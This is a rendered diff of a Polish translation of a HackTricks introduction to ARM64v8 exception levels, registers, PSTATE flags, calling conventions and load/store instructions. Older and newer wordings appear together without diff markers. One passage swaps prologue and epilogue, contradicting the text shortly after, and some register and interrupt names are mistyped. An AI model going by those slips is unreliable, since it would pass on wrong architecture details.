Ucz się i ćwicz AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,217 +1,218 @@
|
|||
# Wprowadzenie do ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Poziomy Wyjątków - EL (ARM64v8)**
|
||||
## **Poziomy wyjątków - EL (ARM64v8)**
|
||||
|
||||
W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (ELs), definiują poziom uprzywilejowania i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy pełni inną funkcję:
|
||||
W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), definiują poziom uprawnień i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy pełni inną funkcję:
|
||||
|
||||
1. **EL0 - Tryb Użytkownika**:
|
||||
* Jest to najmniej uprzywilejowany poziom i służy do wykonywania zwykłego kodu aplikacji.
|
||||
* Aplikacje działające na poziomie EL0 są izolowane od siebie nawzajem i od oprogramowania systemowego, zwiększając bezpieczeństwo i stabilność.
|
||||
* Jest to poziom o najmniejszych uprawnieniach i jest używany do wykonywania zwykłego kodu aplikacji.
|
||||
* Aplikacje działające na poziomie EL0 są od siebie izolowane oraz od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
|
||||
2. **EL1 - Tryb Jądra Systemu Operacyjnego**:
|
||||
* Większość jąder systemów operacyjnych działa na tym poziomie.
|
||||
* EL1 ma większe uprawnienia niż EL0 i może uzyskać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
|
||||
* EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
|
||||
3. **EL2 - Tryb Hypervisora**:
|
||||
* Ten poziom jest używany do wirtualizacji. Hypernadzorca działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim EL1) działającymi na tym samym sprzęcie fizycznym.
|
||||
* EL2 zapewnia funkcje izolacji i kontroli środowisk zewirtualizowanych.
|
||||
4. **EL3 - Tryb Monitora Bezpieczeństwa**:
|
||||
* Jest to najbardziej uprzywilejowany poziom i często jest używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
|
||||
* EL3 może zarządzać i kontrolować dostępy między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny, itp.).
|
||||
* Ten poziom jest używany do wirtualizacji. Hypervisor działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym fizycznym sprzęcie.
|
||||
* EL2 zapewnia funkcje izolacji i kontroli wirtualizowanych środowisk.
|
||||
4. **EL3 - Tryb Monitorowania Bezpieczeństwa**:
|
||||
* Jest to poziom o najwyższych uprawnieniach i jest często używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
|
||||
* EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny itp.).
|
||||
|
||||
Wykorzystanie tych poziomów pozwala na strukturalne i bezpieczne zarządzanie różnymi aspektami systemu, począwszy od aplikacji użytkownika, aż po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprzywilejowania pomaga w skutecznym izolowaniu różnych komponentów systemu, zwiększając tym samym bezpieczeństwo i niezawodność systemu.
|
||||
Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzania różnymi aspektami systemu, od aplikacji użytkowych po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprawnień pomaga w skutecznym izolowaniu różnych komponentów systemu, co zwiększa bezpieczeństwo i odporność systemu.
|
||||
|
||||
## **Rejestry (ARM64v8)**
|
||||
|
||||
ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych jako `x0` do `x30`. Każdy może przechowywać wartość **64-bitową** (8 bajtów). Dla operacji wymagających tylko wartości **32-bitowych**, te same rejestry można uzyskać w trybie **32-bitowym**, używając nazw w0 do w30.
|
||||
ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych od `x0` do `x30`. Każdy z nich może przechowywać wartość **64-bitową** (8-bajtową). W przypadku operacji, które wymagają tylko wartości 32-bitowych, te same rejestry mogą być używane w trybie 32-bitowym, używając nazw od w0 do w30.
|
||||
|
||||
1. **`x0`** do **`x7`** - Zazwyczaj są używane jako rejestry tymczasowe i do przekazywania parametrów do podprogramów.
|
||||
* **`x0`** przenosi również dane zwracane przez funkcję.
|
||||
2. **`x8`** - W jądrze Linuxa, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest x16!**
|
||||
3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
|
||||
4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Rejestry tymczasowe dla wartości natychmiastowych. Są one również używane do pośrednich wywołań funkcji i osłon PLT (Procedure Linkage Table).
|
||||
1. **`x0`** do **`x7`** - Zwykle używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów.
|
||||
* **`x0`** również przenosi dane zwrotne funkcji.
|
||||
2. **`x8`** - W jądrze Linuxa, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest `x16`!**
|
||||
3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych dla zmiennych lokalnych.
|
||||
4. **`x16`** i **`x17`** - **Rejestry wywołań wewnętrznych**. Rejestry tymczasowe dla wartości natychmiastowych. Są również używane do pośrednich wywołań funkcji i stubów PLT (Tabela Łączenia Procedur).
|
||||
* **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**.
|
||||
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany dla zastosowań specyficznych dla platformy: Wskaźnik do bieżącego bloku środowiska wątków w systemie Windows lub wskaźnik do bieżącej **struktury zadania wykonywanego w jądrze Linux**.
|
||||
6. **`x19`** do **`x28`** - Są to rejestry zachowywane przez wywołanego. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, dlatego są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
|
||||
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu, ponieważ wywoływana jest funkcja, rejestr **`x29`** jest **przechowywany na stosie** a nowy adres wskaźnika ramki (**adres `sp`**) jest **przechowywany w tym rejestrze**.
|
||||
* Ten rejestr może również być używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**.
|
||||
8. **`x30`** lub **`lr`** - **Rejestr łącza**. Przechowuje **adres powrotu**, gdy instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register) jest wykonywana przez przechowywanie wartości **`pc`** w tym rejestrze.
|
||||
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do użytku specyficznego dla platformy: Wskaźnik do bloku środowiska wątku lokalnego w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze Linuxa**.
|
||||
6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływaną funkcję. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
|
||||
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu z powodu wywołania funkcji, rejestr **`x29`** jest **przechowywany na stosie**, a adres **nowego** wskaźnika ramki (adres **`sp`**) jest **przechowywany w tym rejestrze**.
|
||||
* Ten rejestr może być również używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**.
|
||||
8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotny**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
|
||||
* Może być również używany jak każdy inny rejestr.
|
||||
* Jeśli bieżąca funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, zostanie ona przechowana na stosie na początku, jest to epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj miejsce i uzyskaj nowy `fp`) i odzyskana na końcu, jest to prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
|
||||
9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia góry stosu.
|
||||
* wartość **`sp`** powinna zawsze być utrzymywana co najmniej w **wyrównaniu kwadratowym** lub może wystąpić wyjątek wyrównania.
|
||||
10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko poprzez generowanie wyjątków, zwracanie wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z linkiem (BL, BLR) do przechowywania adresu **`pc`** w rejestrze **`lr`** (Rejestr łącza).
|
||||
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w swojej formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań za pomocą **`subs`** jak **`subs XZR, Xn, #10`** przechowując wynikowe dane nigdzie (w **`xzr`**).
|
||||
* Jeśli aktualna funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj miejsce i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
|
||||
9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia wierzchołka stosu.
|
||||
* Wartość **`sp`** powinna być zawsze utrzymywana co najmniej w **wyrównaniu** do **quadword**, w przeciwnym razie może wystąpić wyjątek wyrównania.
|
||||
10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko przez generowanie wyjątków, zwroty wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z łącznikiem (BL, BLR), aby przechować adres **`pc`** w **`lr`** (Rejestr Łączenia).
|
||||
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`**, jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**).
|
||||
|
||||
Rejestry **`Wn`** to wersja **32-bitowa** rejestru **`Xn`**.
|
||||
Rejestry **`Wn`** są **32-bitową** wersją rejestru **`Xn`**.
|
||||
|
||||
### Rejestry SIMD i Zmiennoprzecinkowe
|
||||
### Rejestry SIMD i zmiennoprzecinkowe
|
||||
|
||||
Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (jedna instrukcja, wiele danych) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitowym, **32**-bitowym, **16**-bitowym i **8**-bitowym, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
||||
|
||||
Ponadto istnieje kolejnych **32 rejestry o długości 128 bitów**, które można używać w zoptymalizowanych operacjach jednoczesnego przetwarzania wielu danych (SIMD) i do wykonywania arytmetyki zmiennoprzecinkowej. Są one nazywane rejestrami Vn, chociaż mogą również działać w trybie **64**-bitowym, **32**-bitowym, **16**-bitowym i **8**-bitowym, a wtedy są nazywane **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
||||
### Rejestry systemowe
|
||||
|
||||
**Istnieje setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPR), które są używane do **monitorowania** i **kontroli** zachowania **procesorów**.\
|
||||
**Istnieją setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\
|
||||
Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**.
|
||||
|
||||
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas odwracania inżynieryjnego. Przyrostek `EL0` wskazuje na **minimalny wyjątek**, z którego można uzyskać dostęp do rejestru (w tym przypadku EL0 to zwykły poziom wyjątku (uprzywilejowanie), z którym uruchamiane są zwykłe programy).\
|
||||
Są one często używane do przechowywania **bazowego adresu obszaru pamięci lokalnej wątku**. Zazwyczaj pierwszy jest czytelny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
|
||||
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 jest regularnym poziomem wyjątku (uprawnienia), na którym działają zwykłe programy).\
|
||||
Często są używane do przechowywania **adresu bazowego regionu pamięci lokalnej dla wątku**. Zwykle pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0`
|
||||
* `msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** zawiera kilka składowych procesu zserializowanych do widocznego w systemie operacyjnym specjalnego rejestru **`SPSR_ELx`**, gdzie X to **poziom uprawnień wywołanego** wyjątku (umożliwia to przywrócenie stanu procesu po zakończeniu wyjątku).\
|
||||
**PSTATE** zawiera kilka komponentów procesu zserializowanych w widocznym dla systemu operacyjnego **`SPSR_ELx`** specjalnym rejestrze, gdzie X oznacza **poziom uprawnień** **wywołanego** wyjątku (to pozwala na odzyskanie stanu procesu po zakończeniu wyjątku).\
|
||||
Oto dostępne pola:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Flagi warunkowe **`N`**, **`Z`**, **`C`** i **`V`**:
|
||||
* **`N`** oznacza, że operacja dała wynik ujemny
|
||||
* **`Z`** oznacza, że operacja dała wynik zero
|
||||
* **`C`** oznacza, że operacja została przeprowadzona
|
||||
* **`V`** oznacza, że operacja dała wynik przekroczenia z zakresem:
|
||||
* **`Z`** oznacza, że operacja dała zero
|
||||
* **`C`** oznacza, że operacja miała przeniesienie
|
||||
* **`V`** oznacza, że operacja dała przepełnienie ze znakiem:
|
||||
* Suma dwóch liczb dodatnich daje wynik ujemny.
|
||||
* Suma dwóch liczb ujemnych daje wynik dodatni.
|
||||
* W odejmowaniu, gdy od mniejszej liczby dodatniej odejmowana jest większa liczba ujemna (lub odwrotnie), i wynik nie może być reprezentowany w zakresie podanej wielkości bitowej.
|
||||
* Oczywiście procesor nie wie, czy operacja jest znakowana czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpił przeniesienie w przypadku, gdy była znakowana lub nieznakowana.
|
||||
* W przypadku odejmowania, gdy duża liczba ujemna jest odejmowana od mniejszej liczby dodatniej (lub odwrotnie), a wynik nie może być reprezentowany w zakresie danej wielkości bitowej.
|
||||
* Oczywiście procesor nie wie, czy operacja jest ze znakiem, czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpiło przeniesienie w przypadku, gdy było to ze znakiem lub bez znaku.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, robią to, a inne, które mają przyrostek s, jak **`ADDS`**, również to robią.
|
||||
Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne, które mają sufiks s, takie jak **`ADDS`**, również to robią.
|
||||
{% endhint %}
|
||||
|
||||
* Bieżąca flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonania AArch64 po wznowieniu.
|
||||
* Bieżący **Poziom Wyjątku** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0
|
||||
* Flagi **jednokrokowego wykonywania** (**`SS`**): Używane przez debugery do jednokrokowego wykonywania poprzez ustawienie flagi SS na 1 wewnątrz **`SPSR_ELx`** poprzez wyjątek. Program wykona krok i wywoła wyjątek jednokrokowy.
|
||||
* Flagi stanu **nielegalnego wyjątku** (**`IL`**): Służy do oznaczania, kiedy uprzywilejowane oprogramowanie wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1, a procesor wywołuje wyjątek stanu nielegalnego.
|
||||
* Flagi **`DAIF`**: Te flagi pozwalają uprzywilejowanemu programowi selektywnie maskować pewne zewnętrzne wyjątki.
|
||||
* Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F jest związane z **szybkimi żądaniami przerwań** (FIR).
|
||||
* Flagi wyboru wskaźnika stosu (**`SPS`**): Uprzywilejowane programy działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a rejestru modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie jest wykonywane poprzez zapisanie do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
|
||||
* Flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonawczym AArch64 po wznowieniu.
|
||||
* Aktualny **Poziom Wyjątku** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0.
|
||||
* Flaga **jednoetapowego** (**`SS`**): Używana przez debugery do jednoetapowego wykonania, ustawiając flagę SS na 1 wewnątrz **`SPSR_ELx`** przez wyjątek. Program wykona krok i wyda wyjątek jednoetapowy.
|
||||
* Flaga **stanu nielegalnego wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego.
|
||||
* Flagi **`DAIF`**: Te flagi pozwalają programowi z uprawnieniami na selektywne maskowanie niektórych zewnętrznych wyjątków.
|
||||
* Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwania sprzętowego (IRQ). a F jest związane z **szybkimi żądaniami przerwania** (FIR).
|
||||
* Flagi **wyboru wskaźnika stosu** (**`SPS`**): Programy z uprawnieniami działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a wskaźnikiem modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie jest realizowane przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
|
||||
|
||||
## **Konwencja wywoływania (ARM64v8)**
|
||||
## **Konwencja wywołań (ARM64v8)**
|
||||
|
||||
Konwencja wywoływania ARM64 określa, że **pierwsze osiem parametrów** funkcji jest przekazywane w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwracana** jest przekazywana z powrotem w rejestrze **`x0`**, lub również w **`x1`** jeśli jest długa na **128 bitów**. Rejestry **`x19`** do **`x30`** oraz **`sp`** muszą być **zachowane** między wywołaniami funkcji.
|
||||
Konwencja wywołań ARM64 określa, że **pierwsze osiem parametrów** do funkcji jest przekazywanych w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwrotna** jest przekazywana z powrotem w rejestrze **`x0`**, lub w **`x1`**, jeśli ma długość 128 bitów. Rejestry **`x19`** do **`x30`** oraz **`sp`** muszą być **zachowane** podczas wywołań funkcji.
|
||||
|
||||
Podczas czytania funkcji w asemblerze, należy szukać **prologu i epilogu** funkcji. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** oraz **przydzielanie miejsca na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
|
||||
Podczas odczytywania funkcji w asemblerze, zwróć uwagę na **prolog i epilog funkcji**. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** i **alokację miejsca na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
|
||||
|
||||
### Konwencja wywoływania w Swift
|
||||
### Konwencja wywołań w Swift
|
||||
|
||||
Swift ma swoją własną **konwencję wywoływania**, którą można znaleźć pod adresem [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
Swift ma swoją własną **konwencję wywołań**, którą można znaleźć w [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Powszechne instrukcje (ARM64v8)**
|
||||
## **Typowe instrukcje (ARM64v8)**
|
||||
|
||||
Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja** do wykonania (takie jak `add`, `sub`, `mov`, itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą również być używane zamiast rejestrów źródłowych.
|
||||
Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (taka jak `add`, `sub`, `mov` itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych.
|
||||
|
||||
* **`mov`**: **Przenieś** wartość z jednego **rejestru** do drugiego.
|
||||
* Przykład: `mov x0, x1` — To przenosi wartość z `x1` do `x0`.
|
||||
* **`ldr`**: **Załaduj** wartość z **pamięci** do **rejestru**.
|
||||
* Przykład: `ldr x0, [x1]` — To ładuje wartość z lokalizacji pamięci wskazywanej przez `x1` do `x0`.
|
||||
* **Tryb z przesunięciem**: Wskazuje przesunięcie wpływające na wskaźnik oryginału, na przykład:
|
||||
* **Tryb offsetu**: Wskazuje się offset wpływający na wskaźnik oryginalny, na przykład:
|
||||
* `ldr x2, [x1, #8]`, to załaduje do x2 wartość z x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4
|
||||
* **Tryb z wstępnym indeksowaniem**: To zastosuje obliczenia do oryginału, uzyska wynik i przechowa nowy oryginał w oryginale.
|
||||
* **Tryb wstępnie indeksowany**: To zastosuje obliczenia do oryginału, uzyska wynik i również przechowa nowy oryginał w oryginale.
|
||||
* `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i przechowa w x1 wynik `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Przechowuje rejestr łącza w sp i aktualizuje rejestr sp
|
||||
* **Tryb z indeksowaniem po wykonaniu**: Jest podobny do poprzedniego, ale adres pamięci jest dostępny, a następnie obliczane i przechowywane jest przesunięcie.
|
||||
* `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 na `x1 + 8`
|
||||
* **Adresowanie względem PC**: W tym przypadku adres do załadowania jest obliczany względem rejestru PC
|
||||
* `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 względem bieżącego PC.
|
||||
* **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**.
|
||||
* Przykład: `str x0, [x1]` — To zapisuje wartość z `x0` do lokalizacji pamięci wskazywanej przez `x1`.
|
||||
* **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
|
||||
* `str lr, [sp, #-4]!`, Przechowuje rejestr łączenia w sp i aktualizuje rejestr sp
|
||||
* **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest dostępny, a następnie obliczany i przechowywany jest offset.
|
||||
* `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 do `x1 + 8`
|
||||
* **Adresowanie względne do PC**: W tym przypadku adres do załadowania jest obliczany w odniesieniu do rejestru PC
|
||||
* `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do aktualnego PC.
|
||||
* **`str`**: **Przechowaj** wartość z **rejestru** do **pamięci**.
|
||||
* Przykład: `str x0, [x1]` — To przechowuje wartość w `x0` w lokalizacji pamięci wskazywanej przez `x1`.
|
||||
* **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.
|
||||
* Przykład: `ldp x0, x1, [x2]` — To ładuje `x0` i `x1` z lokalizacji pamięci w `x2` i `x2 + 8`, odpowiednio.
|
||||
* **`stp`**: **Zapisz parę rejestrów**. Ta instrukcja **zapisuje dwa rejestry** do **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
|
||||
